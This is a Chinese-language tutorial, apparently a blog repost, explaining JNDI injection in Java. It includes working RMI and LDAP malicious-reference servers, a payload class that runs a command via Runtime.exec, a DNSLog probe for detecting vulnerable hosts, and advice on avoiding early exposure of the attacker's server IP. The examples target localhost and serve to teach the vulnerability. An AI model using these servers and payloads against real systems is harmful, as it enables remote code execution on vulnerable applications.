# JNDI 注入原理及利用探究
# JNDI 是什么:
JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,一种标准的 java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDIAPI 映射为特定的命名服务和目录系统,是的 java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗的来说就是若程序定义了 JNDI 的接口,就可以通过该接口 API 访问系统的命令服务和目录服务,如下图
这里主要探究的时 LADP,RMI,DNS 协议
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
# JNDI 注入
# JNDI+RMI
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup()方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意在和,造成注入攻击。
服务端代码:
package RMI; | |
import java.rmi.registry.LocateRegistry; | |
import java.rmi.registry.Registry; | |
import javax.naming.Reference; | |
import com.sun.jndi.rmi.registry.ReferenceWrapper; | |
public class RMIService{ | |
public static void main(String[] args) throws Exception{ | |
Registry registry = LocateRegistry.createRegistry(7778); | |
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); | |
ReferenceWrapper wrapper = new ReferenceWrapper(reference); | |
registry.bind("RCE",wrapper); | |
} | |
} |
客户端代码:
package RMI; | |
import javax.naming.InitialContext; | |
import javax.naming.NamingException; | |
public class RMIClient { | |
public static void main(String[] args) throws NamingException{ | |
String uri = "rmi://127.0.0.1:7778/RCE"; | |
InitialContext initialContext = new InitialContext(); | |
initialContext.lookup(uri); | |
} | |
} |
恶意 payload:
//package RMI; | |
public class Calculator{ | |
public Calculator() throws Exception { | |
Runtime.getRuntime().exec("calc"); | |
} | |
} |
项目结构:
先编译恶意载荷
端口跟服务端的
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); |
一样就行了
这里有个坑就是 package 后获取了这个 payload 之后会在进一步 RMi 里面找这个 payload,没有就报错,所以需要注释这个 package 才行
# JNDI+LDAP
# 环境搭建
手动防止依赖:
坑就是不要把那个 jar 文件放到有空格和中文的目录下
先是服务端:
package LDAP; | |
import java.net.InetAddress; | |
import java.net.MalformedURLException; | |
import java.net.URL; | |
import javax.net.ServerSocketFactory; | |
import javax.net.SocketFactory; | |
import javax.net.ssl.SSLSocketFactory; | |
import com.unboundid.ldap.listener.InMemoryDirectoryServer; | |
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; | |
import com.unboundid.ldap.listener.InMemoryListenerConfig; | |
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; | |
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; | |
import com.unboundid.ldap.sdk.Entry; | |
import com.unboundid.ldap.sdk.LDAPException; | |
import com.unboundid.ldap.sdk.LDAPResult; | |
import com.unboundid.ldap.sdk.ResultCode; | |
public class LDAPServer { | |
private static final String LDAP_BASE = "dc=example,dc=com"; | |
public static void main (String[] args) { | |
String url = "http://127.0.0.1:8081/#Calculator"; | |
int port = 1234; | |
try { | |
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); | |
config.setListenerConfigs(new InMemoryListenerConfig( | |
"listen", | |
InetAddress.getByName("0.0.0.0"), | |
port, | |
ServerSocketFactory.getDefault(), | |
SocketFactory.getDefault(), | |
(SSLSocketFactory) SSLSocketFactory.getDefault())); | |
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); | |
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); | |
System.out.println("Listening on 0.0.0.0:" + port); | |
ds.startListening(); | |
} | |
catch ( Exception e ) { | |
e.printStackTrace(); | |
} | |
} | |
private static class OperationInterceptor extends InMemoryOperationInterceptor { | |
private URL codebase; | |
/** | |
* | |
*/ | |
public OperationInterceptor ( URL cb ) { | |
this.codebase = cb; | |
} | |
/** | |
* {@inheritDoc} | |
* | |
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) | |
*/ | |
@Override | |
public void processSearchResult ( InMemoryInterceptedSearchResult result ) { | |
String base = result.getRequest().getBaseDN(); | |
Entry e = new Entry(base); | |
try { | |
sendResult(result, base, e); | |
} | |
catch ( Exception e1 ) { | |
e1.printStackTrace(); | |
} | |
} | |
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { | |
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); | |
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); | |
e.addAttribute("javaClassName", "Exploit"); | |
String cbstring = this.codebase.toString(); | |
int refPos = cbstring.indexOf('#'); | |
if ( refPos > 0 ) { | |
cbstring = cbstring.substring(0, refPos); | |
} | |
e.addAttribute("javaCodeBase", cbstring); | |
e.addAttribute("objectClass", "javaNamingReference"); | |
e.addAttribute("javaFactory", this.codebase.getRef()); | |
result.sendSearchEntry(e); | |
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); | |
} | |
} | |
} |
再是客户端:
package LDAP; | |
import javax.naming.InitialContext; | |
import javax.naming.NamingException; | |
public class LDAPClient { | |
public static void main(String[] args) throws NamingException{ | |
String url = "ldap://127.0.0.1:1234/Calculator"; | |
InitialContext initialContext = new InitialContext(); | |
initialContext.lookup(url); | |
} | |
} |
再是 payload 一样的操作内容
# DNS 协议:
通过上面我们可知 JNDI 注入可以利用 RMI 协议和 LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 ip。在没有确定存在漏洞钱,直接在服务器上使用 RMI 或者 LDAP 去执行敏玲,通过日志可分析得到攻击者的服务器 IP,这样在没有获得成果的前提下还暴露了自己的服务器 IP,得不偿失。我们可以使用 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSlog 平台去探测。
代码验证:
package DNS; | |
import javax.naming.InitialContext; | |
import javax.naming.NamingException; | |
public class LDAPClient { | |
public static void main(String[] args) throws NamingException{ | |
String url = "dns://l6mo96xa.eyes.sh"; | |
InitialContext initialContext = new InitialContext(); | |
initialContext.lookup(url); | |
} | |
} |
若是发现有回应,就是有这个漏洞
# 类的分析
# InitialContext 类
由 JNDI+RMI
漏洞代码进行分析
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
InitialContext
类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息
InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用
lookup(String name)` 获取 name 的数据,这里的 uri 被定义为 `rmi://127.0.0.1:7778/RCE` 所以会通过 `rmi` 协议访问 `127.0.0.1:7778/RCE
String uri = "rmi://127.0.0.1:7778/RCE";
initialContext.lookup(uri); //利用lookup() 函数获取指定的远程对象
由于 lookup()
参数可控,导致漏洞的出现,跟进代码如下
# Reference 类
Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。
由 JNDI+RMI
服务端攻击代码
package jndi_rmi_injection; | |
import java.rmi.registry.LocateRegistry; | |
import java.rmi.registry.Registry; | |
import javax.naming.Reference; | |
import com.sun.jndi.rmi.registry.ReferenceWrapper; | |
public class RMIServer { | |
public static void main(String[] args) throws Exception{ | |
Registry registry = LocateRegistry.createRegistry(7778); | |
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); | |
ReferenceWrapper wrapper = new ReferenceWrapper(reference); | |
registry.bind("RCE",wrapper); | |
} | |
} |
reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/` 服务端上,等待客户端的调用并实例化执行。
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); |
# 总结:
经过之前的讲述,产生的主要原因是由于 lookup 里面的参数可控,我可以通过访问 LDAP 和 RMI 来加载 class 对象来实例化对象时进行初始化是使用恶意代码获取数据。
参考链接:JNDI 注入原理及利用考究 - 先知社区